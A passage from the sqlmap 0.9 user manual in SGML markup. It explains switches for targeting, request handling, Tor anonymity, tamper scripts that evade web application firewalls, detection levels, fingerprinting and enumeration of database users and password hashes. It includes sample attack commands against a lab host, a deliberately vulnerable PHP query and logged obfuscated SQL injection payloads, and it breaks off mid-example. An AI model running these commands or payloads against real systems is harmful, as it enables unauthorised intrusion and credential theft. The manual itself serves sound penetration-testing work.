Ignores query results stored in session file - --eta Display for each output the estimated time of arrival - --update Update sqlmap - --save Save options on a configuration INI file - --batch Never ask for user input, use the default behaviour - - Miscellaneous: - --beep Alert when sql injection found - --check-payload IDS detection testing of injection payloads - --cleanup Clean up the DBMS by sqlmap specific UDF and tables - --forms Parse and test forms on target url - --gpage=GOOGLEPAGE Use Google dork results from specified page number - --mobile Imitate smartphone through HTTP User-Agent header - --page-rank Display page rank (PR) for Google dork results - --parse-errors Parse DBMS error messages from response pages - --replicate Replicate dumped data into a sqlite3 database - --tor Use default Tor (Vidalia/Privoxy/Polipo) proxy address - --wizard Simple wizard interface for beginner users -</verb></tscreen> - - -<sect1>Output verbosity - -<p> -Switch: <tt>-v</tt> - -<p> -This switch can be used to set the verbosity level of output messages. -There exist <bf>seven</bf> levels of verbosity. -The default level is <bf>1</bf> in which information, warning, error and -critical messages and Python tracebacks (if any occur) will be displayed. - -<itemize> -<item><bf>0</bf>: Show only Python tracebacks, error and critical messages. -<item><bf>1</bf>: Show also information and warning messages. -<item><bf>2</bf>: Show also debug messages. -<item><bf>3</bf>: Show also payloads injected. -<item><bf>4</bf>: Show also HTTP requests. -<item><bf>5</bf>: Show also HTTP responses' headers. -<item><bf>6</bf>: Show also HTTP responses' page content. -</itemize> - -<p> -A reasonable level of verbosity to further understand what sqlmap does -under the hood is level <bf>2</bf>, primarily for the detection phase and -the take-over functionalities. Whereas if you want to see the SQL payloads -the tools sends, level <bf>3</bf> is your best choice. -In order to further debug potential bugs or unexpected behaviours, we -recommend you to set the verbosity to level <bf>4</bf> or above. This -level is recommended to be used when you feed the developers with a bug -report too. - - -<sect1>Target - -<p> -At least one of these options has to be provided. - -<sect2>Target URL - -<p> -Switch: <tt>-u</tt> or <tt>-</tt><tt>-url</tt> - -<p> -Run sqlmap against a single target URL. This switch requires an argument -which is the target URL in the form <tt>http(s)://targeturl[:port]/[...]</tt>. - -<sect2>Parse targets from Burp or WebScarab proxy logs - -<p> -Switch: <tt>-l</tt> - -<p> -Rather than providing a single target URL, it is possible to test and -inject against HTTP requests proxied through <htmlurl url="http://portswigger.net/suite/" -name="Burp proxy"> or <htmlurl -url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" -name="WebScarab proxy"> This switch requires an argument which is the -proxy's HTTP requests log file. - -<sect2>Load HTTP request from a file - -<p> -Switch: <tt>-r</tt> - -<p> -One of the possibilities of sqlmap is loading of complete HTTP request -from a textual file. That way you can skip usage of bunch of other -options (e.g. setting of cookies, POSTed data, etc). - -<p> -Sample content of a HTTP request file provided as argument to this switch: - -<tscreen><verb> -POST /sqlmap/mysql/post_int.php HTTP/1.1 -Host: 192.168.136.131 -User-Agent: Mozilla/4.0 - -id=1 -</verb></tscreen> - -<sect2>Process Google dork results as target addresses - -<p> -Switch: <tt>-g</tt> - -<p> -It is also possible to test and inject on <tt>GET</tt> parameters on the -results of your Google dork. - -<p> -This option makes sqlmap negotiate with the search engine its session -cookie to be able to perform a search, then sqlmap will retrieve Google -first 100 results for the Google dork expression with <tt>GET</tt> -parameters asking you if you want to test and inject on each possible -affected URL. - -<sect2>Load options from a configuration INI file - -<p> -Switch: <tt>-c</tt> - -<p> -It is possible to pass user's options from a configuration INI file, an -example is <tt>sqlmap.conf</tt>. - -<p> -Note that if you also provide other options from command line, those are -evaluated when running sqlmap and overwrite those provided in the -configuration file. - - -<sect1>Request - -<p> -These options can be used to specify how to connect to the target url. - -<sect2>HTTP data - -<p> -Option: <tt>-</tt><tt>-data</tt> - -<p> -By default the HTTP method used to perform HTTP requests is <tt>GET</tt>, -but you can implicitly change it to <tt>POST</tt> by providing the data to -be sent in the <tt>POST</tt> requests. Such data, being those parameters, -are tested for SQL injection as well as any provided <tt>GET</tt> -parameters. - - -<sect2>HTTP <tt>Cookie</tt> header - -<p> -Switches: <tt>-</tt><tt>-cookie</tt>, <tt>-</tt><tt>-drop-set-cookie</tt> -and <tt>-</tt><tt>-cookie-urlencode</tt> - -<p> -This feature can be useful in two ways: - -<itemize> -<item>The web application requires authentication based upon cookies and -you have such data. -<item>You want to detect and exploit SQL injection on such header values. -</itemize> - -<p> -Either reason brings you to need to send cookies with sqlmap requests, the -steps to go through are the following: - -<itemize> -<item>Login to the application with your favourite browser. -<item>Get the HTTP Cookie from the browser's preferences or from the HTTP -proxy screen and copy to the clipboard. -<item>Go back to your shell and run sqlmap by pasting your clipboard as -the argument of the <tt>-</tt><tt>-cookie</tt> switch. -</itemize> - -<p> -Note that the HTTP <tt>Cookie</tt> header values are usually separated by -a <tt>;</tt> character, <bf>not</bf> by an <tt>&</tt>. sqlmap can -recognize these as separate sets of <tt>parameter=value</tt> too, as well -as GET and POST parameters. - -<p> -If at any time during the communication, the web application responds with -<tt>Set-Cookie</tt> headers, sqlmap will automatically use its value in -all further HTTP requests as the <tt>Cookie</tt> header. sqlmap will also -automatically test those values for SQL injection. This can be avoided by -providing the switch <tt>-</tt><tt>-drop-set-cookie</tt> - sqlmap will -ignore any coming <tt>Set-Cookie</tt> header. - -<p> -Vice versa, if you provide a HTTP <tt>Cookie</tt> header with -<tt>-</tt><tt>-cookie</tt> switch and the target URL sends an HTTP -<tt>Set-Cookie</tt> header at any time, sqlmap will ask you which set of -cookies to use for the following HTTP requests. - -<p> -sqlmap by default does <bf>not</bf> URL-encode generated cookie payloads, -but you can force it by using the <tt>-</tt><tt>-cookie-urlencode</tt> -switch. Cookie content encoding is not declared by HTTP protocol standard -in any way, so it is solely the matter of web application's behaviour. - -<p> -Note that also the HTTP <tt>Cookie</tt> header is tested against SQL -injection if the <tt>-</tt><tt>-level</tt> is set to <bf>2</bf> or above. -Read below for details. - - -<sect2>HTTP <tt>User-Agent</tt> header - -<p> -Switches: <tt>-</tt><tt>-user-agent</tt> and <tt>-</tt><tt>-random-agent</tt> - -<p> -By default sqlmap performs HTTP requests with the following <tt>User-Agent</tt> -header value: - -<tscreen><verb> -sqlmap/0.9 (http://www.sqlmap.org) -</verb></tscreen> - -<p> -However, it is possible to fake it with the <tt>-</tt><tt>-user-agent</tt> -switch by providing custom User-Agent as the switch argument. - -<p> -Moreover, by providing the <tt>-</tt><tt>-random-agent</tt> switch, sqlmap -will randomly select a <tt>User-Agent</tt> from the <tt>./txt/user-agents.txt</tt> -textual file and use it for all HTTP requests within the session. - -<p> -Some sites perform a server-side check on the HTTP <tt>User-Agent</tt> -header value and fail the HTTP response if a valid <tt>User-Agent</tt> is -not provided, its value is not expected or is blacklisted by a web -application firewall or similar intrusion prevention system. In this case -sqlmap will show you a message as follows: - -<tscreen><verb> -[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to -force the HTTP User-Agent header with option --user-agent or --random-agent -</verb></tscreen> - -<p> -Note that also the HTTP <tt>User-Agent</tt> header is tested against SQL -injection if the <tt>-</tt><tt>-level</tt> is set to <bf>3</bf> or above. -Read below for details. - - -<sect2>HTTP <tt>Referer</tt> header - -<p> -Switch: <tt>-</tt><tt>-referer</tt> - -<p> -It is possible to fake the HTTP <tt>Referer</tt> header value. By default -<bf>no</bf> HTTP <tt>Referer</tt> header is sent in HTTP requests if not -explicitly set. - -<p> -Note that also the HTTP <tt>Referer</tt> header is tested against SQL -injection if the <tt>-</tt><tt>-level</tt> is set to <bf>3</bf> or above. -Read below for details. - - -<sect2>Extra HTTP headers - -<p> -Switch: <tt>-</tt><tt>-headers</tt> - -<p> -It is possible to provide extra HTTP headers by setting the -<tt>-</tt><tt>-headers</tt> switch. Each header must be separated by a -newline and it is much easier to provide them from the configuration INI -file. Have a look at the sample <tt>sqlmap.conf</tt> file for an example. - - -<sect2>HTTP protocol authentication - -<p> -Switches: <tt>-</tt><tt>-auth-type</tt> and <tt>-</tt><tt>-auth-cred</tt> - -<p> -These options can be used to specify which HTTP protocol authentication -the web server implements and the valid credentials to be used to perform -all HTTP requests to the target application. - -The three supported HTTP protocol authentication mechanisms are: - -<itemize> -<item><tt>Basic</tt> -<item><tt>Digest</tt> -<item><tt>NTLM</tt> -</itemize> - -While the credentials' syntax is <tt>username:password</tt>. - -<p> -Example of valid syntax: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \ - --auth-type Basic --auth-cred "testuser:testpass" -</verb></tscreen> - - -<sect2>HTTP protocol certificate authentication - -<p> -Switch: <tt>-</tt><tt>-auth-cert</tt> - -<p> -This switch should be used in cases when the web server requires proper -client-side certificate for authentication. Supplied values should be in -the form: <tt>key_file,cert_file</tt>, where <tt>key_file</tt> should be -the name of a PEM formatted file that contains your private key, while -<tt>cert_file</tt> should be the name for a PEM formatted certificate -chain file. - - -<sect2>HTTP(S) proxy - -<p> -Switches: <tt>-</tt><tt>-proxy</tt>, <tt>-</tt><tt>-proxy-cred</tt>, -<tt>-</tt><tt>-ignore-proxy</tt> and <tt>-</tt><tt>-tor</tt> - -<p> -It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) -requests to the target URL. The syntax of HTTP(S) proxy value is -<tt>http://url:port</tt>. - -<p> -If the HTTP(S) proxy requires authentication, you can provide the -credentials in the format <tt>username:password</tt> to the -<tt>-</tt><tt>-proxy-cred</tt> switch. - -<p> -If, for any reason, you need to stay anonymous, instead of passing by a -single predefined HTTP(S) proxy server, you can configure a <htmlurl -url="http://www.torproject.org/" name="Tor client"> together with -<htmlurl url="http://www.privoxy.org" name="Privoxy"> (or similar) on -your machine as explained on the Tor client guide and use the Privoxy -daemon, by default listening on <tt>127.0.0.1:8118</tt>, as the sqlmap -proxy by simply providing the tool with the <tt>-</tt><tt>-tor</tt> -switch instead of <tt>-</tt><tt>-proxy</tt>. - -<p> -The switch <tt>-</tt><tt>-ignore-proxy</tt> should be used when you want -to run sqlmap against a target part of a local area network by ignoring -the system-wide set HTTP(S) proxy server setting. - - -<sect2>Delay between each HTTP request - -<p> -Switch: <tt>-</tt><tt>-delay</tt> - -<p> -It is possible to specify a number of seconds to hold between each HTTP(S) -request. The valid value is a float, for instance <tt>0.5</tt> means half -a second. -By default, no delay is set. - - -<sect2>Seconds to wait before timeout connection - -<p> -Switch: <tt>-</tt><tt>-timeout</tt> - -<p> -It is possible to specify a number of seconds to wait before considering -the HTTP(S) request timed out. The valid value is a float, for instance -10.5 means ten seconds and a half. -By default <bf>30 seconds</bf> are set. - - -<sect2>Maximum number of retries when the HTTP connection timeouts - -<p> -Switch: <tt>-</tt><tt>-retries</tt> - -<p> -It is possible to specify the maximum number of retries when the HTTP(S) -connection timeouts. By default it retries up to <bf>three times</bf>. - - -<sect2>Filtering targets from provided proxy log using regular expression - -<p> -Switch: <tt>-</tt><tt>-scope</tt> - -<p> -Rather than using all hosts parsed from provided logs with switch -<tt>-l</tt>, you can specify valid Python regular expression to be used -for filtering desired ones. - -Example of valid syntax: - -<tscreen><verb> -$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)" -</verb></tscreen> - - -<sect2>Avoid your session to be destroyed after too many unsuccessful requests - -<p> -Switches: <tt>-</tt><tt>-safe-url</tt> and <tt>-</tt><tt>-safe-freq</tt> - -<p> -Sometimes web applications or inspection technology in between destroys -the session if a certain number of unsuccessful requests is performed. -This might occur during the detection phase of sqlmap or when it exploits -any of the blind SQL injection types. Reason why is that the SQL payload -does not necessarily returns output and might therefore raise a signal to -either the application session management or the inspection technology. - -<p> -To bypass this limitation set by the target, you can provide two switches: - -<itemize> -<item><tt>-</tt><tt>-safe-url</tt>: Url address to visit frequently during -testing. -<item><tt>-</tt><tt>-safe-freq</tt>: Test requests between two visits to a -given safe url. -</itemize> - -<p> -This way, sqlmap will visit every a predefined number of requests a -certain <em>safe</em> URL without performing any kind of injection against -it. - - -<sect1>Optimization - -<p> -These switches can be used to optimize the performance of sqlmap. - - -<sect2>Bundle optimization - -<p> -Switch: <tt>-o</tt> - -<p> -This switch is an alias that implicitly sets the following switches: - -<itemize> -<item><tt>-</tt><tt>-keep-alive</tt> -<item><tt>-</tt><tt>-null-connection</tt> -<item><tt>-</tt><tt>-threads 3</tt> if not set to a higher value. -</itemize> - -<p> -Read below for details about each switch. - - -<sect2>Output prediction - -<p> -Switch: <tt>-</tt><tt>-predict-output</tt> - -<p> -This switch is used in inference algorithm for sequential statistical -prediction of characters of value being retrieved. Statistical table with -the most promising character values is being built based on items given in -<tt>txt/common-outputs.txt</tt> combined with the knowledge of current -enumeration used. In case that the value can be found among the common -output values, as the process progresses, subsequent character tables are -being narrowed more and more. If used in combination with retrieval of -common DBMS entities, as with system table names and privileges, speed up -is significant. Of course, you can edit the common outputs file according -to your needs if, for instance, you notice common patterns in database -table names or similar. - -<p> -Note that this switch is not compatible with <tt>-</tt><tt>-threads</tt> -switch. - - -<sect2>HTTP Keep-Alive - -<p> -Switch: <tt>-</tt><tt>-keep-alive</tt> - -<p> -This switch instructs sqlmap to use persistent HTTP(s) connections. - -<p> -Note that this switch is incompatible with <tt>-</tt><tt>-proxy</tt> -switch. - - -<sect2>HTTP NULL connection - -<p> -Switch: <tt>-</tt><tt>-null-connection</tt> - -<p> -There are special HTTP request types which can be used to retrieve -HTTP response's size without getting the HTTP body. This knowledge can be -used in blind injection technique to distinguish <tt>True</tt> from -<tt>False</tt> responses. When this switch is provided, sqlmap will try to -test and exploit two different <em>NULL connection</em> techniques: -<tt>Range</tt> and <tt>HEAD</tt>. -If any of these is supported by the target web server, speed up will come -from the obvious saving of used bandwidth. - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.wisec.it/sectou.php?id=472f952d79293" -name="Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth)">. - -<p> -Note that this switch is incompatible with <tt>-</tt><tt>-text-only</tt> -switch. - - -<sect2>Concurrent HTTP(S) requests - -<p> -Switch: <tt>-</tt><tt>-threads</tt> - -<p> -It is possible to specify the maximum number of concurrent HTTP(S) -requests that sqlmap is allowed to do. -This feature relies on the <htmlurl url="http://en.wikipedia.org/wiki/Multithreading" -name="multi-threading"> concept and inherits both its pro and its cons. - -<p> -This features applies to the brute-force switches and when the data -fetching is done through any of the blind SQL injection techniques. -For the latter case, sqlmap first calculates the length of the query -output in a single thread, then starts the multi-threading. Each thread is -assigned to retrieve one character of the query output. The thread ends -when that character is retrieved - it takes up to 7 HTTP(S) requests with -the bisection algorithm implemented in sqlmap. - -<p> -The maximum number of concurrent requests is set to <bf>10</bf> for -performance and site reliability reasons. - -<p> -Note that this switch is not compatible with -<tt>-</tt><tt>-predict-output</tt> switch. - - -<sect1>Injection - -<p> -These options can be used to specify which parameters to test for, provide -custom injection payloads and optional tampering scripts. - -<sect2>Testable parameter(s) - -<p> -Switch: <tt>-p</tt> - -<p> -By default sqlmap tests all <tt>GET</tt> parameters and <tt>POST</tt> -parameters. When the value of <tt>-</tt><tt>-level</tt> is >= <bf>2</bf> -it tests also HTTP <tt>Cookie</tt> header values. When this value is >= -<bf>3</bf> it tests also HTTP <tt>User-Agent</tt> and HTTP <tt>Referer</tt> -header value for SQL injections. -It is however possible to manually specify a comma-separated list of -parameter(s) that you want sqlmap to test. This will bypass the dependence -on the value of <tt>-</tt><tt>-level</tt> too. - -<p> -For instance, to test for GET parameter <tt>id</tt> and for HTTP -<tt>User-Agent</tt> only, provide <tt>-p id,user-agent</tt>. - - -<sect2>URI injection point - -<p> -There are special cases when injection point is within the URI itself. -sqlmap does not perform any automatic test against URI paths, unless -manually pointed to. -You have to specify these injection points in the command line by -appending an asterisk (<tt>*</tt>) after each URI point that you want -sqlmap to test for and exploit a SQL injection. - -<p> -This is particularly useful when, for instance, Apache web server's -<htmlurl url="http://httpd.apache.org/docs/current/mod/mod_rewrite.html" -name="mod_rewrite"> module is in use or other similar technologies. - -<p> -An example of valid command line would be: - -<tscreen><verb> -$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/" -</verb></tscreen> - - -<sect2>Force the database management system name - -<p> -Switch: <tt>-</tt><tt>-dbms</tt> - -<p> -By default sqlmap automatically detects the web application's back-end -database management system. -As of version <bf>0.9</bf>, sqlmap fully supports the following database -management systems: - -<itemize> -<item>MySQL -<item>Oracle -<item>PostgreSQL -<item>Microsoft SQL Server -<item>Microsoft Access -<item>SQLite -<item>Firebird -<item>Sybase -<item>SAP MaxDB -</itemize> - -<p> -If for any reason sqlmap fails to detect the back-end DBMS once a SQL -injection has been identified or if you want to avoid an active fingeprint, -you can provide the name of the back-end DBMS yourself (e.g. <tt>postgresql</tt>). -For MySQL and Microsoft SQL Server provide them respectively in the form -<tt>MySQL <version></tt> and <tt>Microsoft SQL Server <version> -</tt>, where <tt><version></tt> is a valid version for the DBMS; for -instance <tt>5.0</tt> for MySQL and <tt>2005</tt> for Microsoft SQL Server. - -<p> -In case you provide <tt>-</tt><tt>-fingerprint</tt> together with -<tt>-</tt><tt>-dbms</tt>, sqlmap will only perform the extensive -fingerprint for the specified database management system only, read below -for further details. - -<p> -Note that this option is <bf>not</bf> mandatory and it is strongly -recommended to use it <bf>only if you are absolutely sure</bf> about the -back-end database management system. If you do not know it, let sqlmap -automatically fingerprint it for you. - - -<sect2>Force the database management system operating system name - -<p> -Switch: <tt>-</tt><tt>-os</tt> - -<p> -By default sqlmap automatically detects the web application's back-end -database management system underlying operating system when this -information is a dependence of any other provided switch. -At the moment the fully supported operating systems are two: - -<itemize> -<item>Linux -<item>Windows -</itemize> - -<p> -It is possible to force the operating system name if you already know it -so that sqlmap will avoid doing it itself. - -<p> -Note that this option is <bf>not</bf> mandatory and it is strongly -recommended to use it <bf>only if you are absolutely sure</bf> about the -back-end database management system underlying operating system. If you do -not know it, let sqlmap automatically identify it for you. - - -<sect2>Custom injection payload - -<p> -Switches: <tt>-</tt><tt>-prefix</tt> and <tt>-</tt><tt>-suffix</tt> - -<p> -In some circumstances the vulnerable parameter is exploitable only if the -user provides a specific suffix to be appended to the injection payload. -Another scenario where these options come handy presents itself when the -user already knows that query syntax and want to detect and exploit the -SQL injection by directly providing a injection payload prefix and suffix. - -<p> -Example of vulnerable source code: - -<tscreen><verb> -$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1"; -</verb></tscreen> - -<p> -To detect and exploit this SQL injection, you can either let sqlmap detect -the <bf>boundaries</bf> (as in combination of SQL payload prefix and -suffix) for you during the detection phase, or provide them on your own. -For example: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \ - -p id --prefix "')" --suffix "AND ('abc'='abc" -[...] -</verb></tscreen> - -<p> -This will result in all sqlmap requests to end up in a query as follows: - -<tscreen><verb> -$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1"; -</verb></tscreen> - -<p> -Which makes the query syntactically correct. - -<p> -In this simple example, sqlmap could detect the SQL injection and exploit -it without need to provide custom boundaries, but sometimes in real world -application it is necessary to provide it when the injection point is -within nested <tt>JOIN</tt> queries for instance. - - -<sect2>Tamper injection data - -<p> -Switch: <tt>-</tt><tt>-tamper</tt> - -<p> -sqlmap itself does no obfuscation of the payload sent, except for strings -between single quotes replaced by their <tt>CHAR()</tt>-alike -representation. - -<p> -This switch can be very useful and powerful in situations where there is -a weak input validation mechanism between you and the back-end database -management system. This mechanism usually is a self-developed input -validation routine called by the application source code, an expensive -enterprise-grade IPS appliance or a web application firewall (WAF). All -buzzwords to define the same concept, implemented in a different way and -costing lots of money, usually. - -<p> -To take advantage of this switch, provide sqlmap with a comma-separated -list of tamper scripts and this will process the payload and return it -transformed. You can define your own tamper scripts, use sqlmap ones from -the <tt>tamper/</tt> folder or edit them as long as you concatenate them -comma-separated as the argument of <tt>-</tt><tt>-tamper</tt> switch. - -<p> -The format of a valid tamper script is as follows: - -<tscreen><verb> -# Needed imports -from lib.core.enums import PRIORITY - -# Define which is the order of application of tamper scripts against the payload -__priority__ = PRIORITY.NORMAL - -def tamper(payload): - ''' - Description of your tamper script - ''' - - retVal = payload - - # your code to tamper the original payload - - # return the tampered payload - return retVal -</verb></tscreen> - -<p> -You can check valid and usable tamper scripts in the <tt>tamper/</tt> -directory. - -<p> -Example against a MySQL target assuming that <tt>></tt> character, -spaces and capital <tt>SELECT</tt> string are banned: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \ - tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 - -[hh:mm:03] [DEBUG] cleaning up configuration parameters -[hh:mm:03] [INFO] loading tamper script 'between' -[hh:mm:03] [INFO] loading tamper script 'randomcase' -[hh:mm:03] [INFO] loading tamper script 'space2comment' -[...] -[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' -[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092 -[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057 -[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041 -[...] -[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' -[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar( -58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/ -ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/ -group/**/bY/**/x)a) -[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING -clause' injectable -[...] -</verb></tscreen> - - - -<sect1>Detection - -<p> -These options can be used to specify how to parse and compare page -content from HTTP responses when using blind SQL injection technique. - -<sect2>Level - -<p> -Switch: <tt>-</tt><tt>-level</tt> - -<p> -This switch requires an argument which specifies the level of tests to -perform. There are <bf>five</bf> levels. The default value is <bf>1</bf> -where limited number of tests (requests) are performed. Vice versa, level -<bf>5</bf> will test verbosely for a much larger number of payloads and -boundaries (as in pair of SQL payload prefix and suffix). -The payloads used by sqlmap are specified in the textual file -<tt>xml/payloads.xml</tt>. Following the instructions on top of the file, -if sqlmap misses an injection, you should be able to add your own -payload(s) to test for too! - -<p> -Not only this switch affects which payload sqlmap tries, but also which -injection points are taken in exam: GET and POST parameters are -<bf>always</bf> tested, HTTP Cookie header values are tested from level -<bf>2</bf> and HTTP User-Agent/Referer headers' value is tested from level -<bf>3</bf>. - -<p> -All in all, the harder it is to detect a SQL injection, the higher the -<tt>-</tt><tt>-level</tt> must be set. - -<p> -It is strongly recommended to higher this value before reporting to the -mailing list that sqlmap is not able to detect a certain injection point. - - -<sect2>Risk - -<p> -Switch: <tt>-</tt><tt>-risk</tt> - -<p> -This switch requires an argument which specifies the risk of tests to -perform. There are <bf>four</bf> risk values. The default value is -<bf>1</bf> which is innocuous for the majority of SQL injection points. -Risk value 2 adds to the default level the tests for heavy query -time-based SQL injections and value 3 adds also <tt>OR</tt>-based SQL -injection tests. - -<p> -In some instances, like a SQL injection in an <tt>UPDATE</tt> statement, -injecting an <tt>OR</tt>-based payload can lead to an update of all the -entries of the table, which is certainly not what the attacker wants. For -this reason and others this switch has been introduced: the user has -control over which payloads get tested, the user can arbitrarily choose -to use also potentially dangerous ones. -As per the previous switch, the payloads used by sqlmap are specified in -the textual file <tt>xml/payloads.xml</tt> and you are free to edit and -add your owns. - - -<sect2>Page comparison - -<p> -Switches: <tt>-</tt><tt>-string</tt>, <tt>-</tt><tt>-regexp</tt> and -<tt>-</tt><tt>-text-only</tt> - -<p> -By default the distinction of a <tt>True</tt> query by a <tt>False</tt> -one (rough concept behind boolean-based blind SQL injection vulnerabilities) -is done by comparing the injected requests page content with the original -not injected page content. -Not always this concept works because sometimes the page content changes at -each refresh even not injecting anything, for instance when the page has a -counter, a dynamic advertisement banner or any other part of the HTML which -is rendered dynamically and might change in time not only consequently to -user's input. -To bypass this limit, sqlmap tries hard to identify these snippets of the -response bodies and deal accordingly. Sometimes it may fail, that is why -the user can provide a string (<tt>-</tt><tt>-string</tt> switch) which is -<bf>always</bf> present on the not injected page <bf>and</bf> on all True -injected query pages, but that it is <bf>not</bf> on the False ones. As -an alternative to a static string, the user can provide a regular -expression (<tt>-</tt><tt>-regexp</tt> switch). - -<p> -Such data is easy for an user to retrieve, simply try to inject on the -affected parameter an invalid value and compare manually the original (not -injected) page content with the injected wrong page content. -This way the distinction will be based upon string presence or regular -expression match. - -<p> -In cases with lot of active content (e.g. scripts, embeds, etc.) in the -HTTP responses' body, you can filter pages (<tt>-</tt><tt>-text-only</tt> -switch) just for their textual content. This way, in a good number of -cases, you can automatically tune the detection engine. - - -<sect1>Techniques - -<p> -These options can be used to tweak testing of specific SQL injection -techniques. - - -<sect2>SQL injection techniques to test for - -<p> -Switch: <tt>-</tt><tt>-technique</tt> - -<p> -This switch can be used to specify which SQL injection type to test for. -By default sqlmap tests for <bf>all</bf> types/techniques it supports. - -<p> -In certain situations you may want to test only for one or few specific -types of SQL injection thought and this is where this switch comes into -play. - -<p> -This switch requires an argument. Such argument is a string composed by -any combination of <tt>B</tt>, <tt>E</tt>, <tt>U</tt>, <tt>S</tt> and -<tt>T</tt> characters where each letter stands for a different technique: - -<itemize> -<item><tt>B</tt>: Boolean-based blind SQL injection -<item><tt>E</tt>: Error-based SQL injection -<item><tt>U</tt>: UNION query SQL injection -<item><tt>S</tt>: Stacked queries SQL injection -<item><tt>T</tt>: Time-based blind SQL injection -</itemize> - -<p> -For instance, you can provide <tt>ES</tt> if you want to test for and -exploit error-based and stacked queries SQL injection types only. -The default value is <tt>BEUST</tt>. - -<p> -Note that the string must include stacked queries technique letter, -<tt>S</tt>, when you want to access the file system, takeover the -operating system or access Windows registry hives. - - -<sect2>Seconds to delay the DBMS response for time-based blind SQL injection - -<p> -Switch: <tt>-</tt><tt>-time-sec</tt> - -<p> -It is possible to set the seconds to delay the response when testing for -time-based blind SQL injection, by providing the -<tt>-</tt><tt>-time-sec</tt> option followed by an integer. -By default delay is set to <bf>5 seconds</bf>. - - -<sect2>Number of columns in UNION query SQL injection - -<p> -Switch: <tt>-</tt><tt>-union-cols</tt> - -<p> -By default sqlmap tests for UNION query SQL injection technique using 1 to -10 columns. However, this range can be increased up to 50 columns by -providing an higher <tt>-</tt>-<tt>level</tt> value. See the relevant -paragraph for details. - -<p> -You can manually tell sqlmap to test for this type of SQL injection with a -specific range of columns by providing the tool with the -<tt>-</tt><tt>-union-cols</tt> switch followed by a range of integers. For -instance, <tt>12-16</tt> means tests for UNION query SQL injection by -using 12 up to 16 columns. - - -<sect2>Character to use to test for UNION query SQL injection - -<p> -Switch: <tt>-</tt><tt>-union-char</tt> - -<p> -By default sqlmap tests for UNION query SQL injection technique using -<tt>NULL</tt> character. However, by providing an higher -<tt>-</tt>-<tt>level</tt> value sqlmap will performs tests also with a -random number because there are some corner cases where UNION query tests -with <tt>NULL</tt> fail whereas with a random integer they succeed. - -<p> -You can manually tell sqlmap to test for this type of SQL injection with a -specific character by providing the tool with the -<tt>-</tt><tt>-union-char</tt> switch followed by a string. - - -<sect1>Fingerprint - -<sect2>Extensive database management system fingerprint - -<p> -Switches: <tt>-f</tt> or <tt>-</tt><tt>-fingerprint</tt> - -<p> -By default the web application's back-end database management system -fingerprint is handled automatically by sqlmap. -Just after the detection phase finishes and the user is eventually -prompted with a choice of which vulnerable parameter to use further on, -sqlmap fingerprints the back-end database management system and carries -on the injection by knowing which SQL syntax, dialect and queries to use -to proceed with the attack within the limits of the database architecture. - -<p> -If for any instance you want to perform an extensive database management -system fingerprint based on various techniques like specific SQL dialects -and inband error messages, you can provide the -<tt>-</tt><tt>-fingerprint</tt> switch. sqlmap will perform a lot more -requests and fingerprint the exact DBMS version and, where possible, -operating system, architecture and patch level. - -<p> -If you want the fingerprint to be even more accurate result, you can also -provide the <tt>-b</tt> or <tt>-</tt><tt>-banner</tt> switch. - - -<sect1>Enumeration - -<p> -These options can be used to enumerate the back-end database management -system information, structure and data contained in the tables. Moreover -you can run your own SQL statements. - - -<sect2>Banner - -<p> -Switch: <tt>-b</tt> or <tt>-</tt><tt>-banner</tt> - -<p> -Most of the modern database management systems have a function and/or -an environment variable which returns the database management system -version and eventually details on its patch level, the underlying -system. Usually the function is <tt>version()</tt> and the environment -variable is <tt>@@version</tt>, but this vary depending on the target -DBMS. - - -<sect2>Session user - -<p> -Switch: <tt>-</tt><tt>-current-user</tt> - -<p> -On the majority of modern DBMSes is possible to retrieve the database -management system's user which is effectively performing the query against -the back-end DBMS from the web application. - - -<sect2>Current database - -<p> -Switch: <tt>-</tt><tt>-current-db</tt> - -<p> -It is possible to retrieve the database management system's database name -that the web application is connected to. - - -<sect2>Detect whether or not the session user is a database administrator - -<p> -Switch: <tt>-</tt><tt>-is-dba</tt> - -<p> -It is possible to detect if the current database management system session -user is a database administrator, also known as DBA. -sqlmap will return <tt>True</tt> if it is, viceversa <tt>False</tt>. - - -<sect2>List database management system users - -<p> -Switch: <tt>-</tt><tt>-users</tt> - -<p> -When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the list of -users. - - -<sect2>List and crack database management system users password hashes - -<p> -Switches: <tt>-</tt><tt>-passwords</tt> and <tt>-U</tt> - -<p> -When the session user has read access to the system table containing -information about the DBMS users' passwords, it is possible to enumerate -the password hashes for each database management system user. -sqlmap will first enumerate the users, then the different password hashes -for each of them. - -<p> -Example against a PostgreSQL target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1 - -[...] -back-end DBMS: PostgreSQL -[hh:mm:38] [INFO] fetching database users password hashes -do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y -[hh:mm:42] 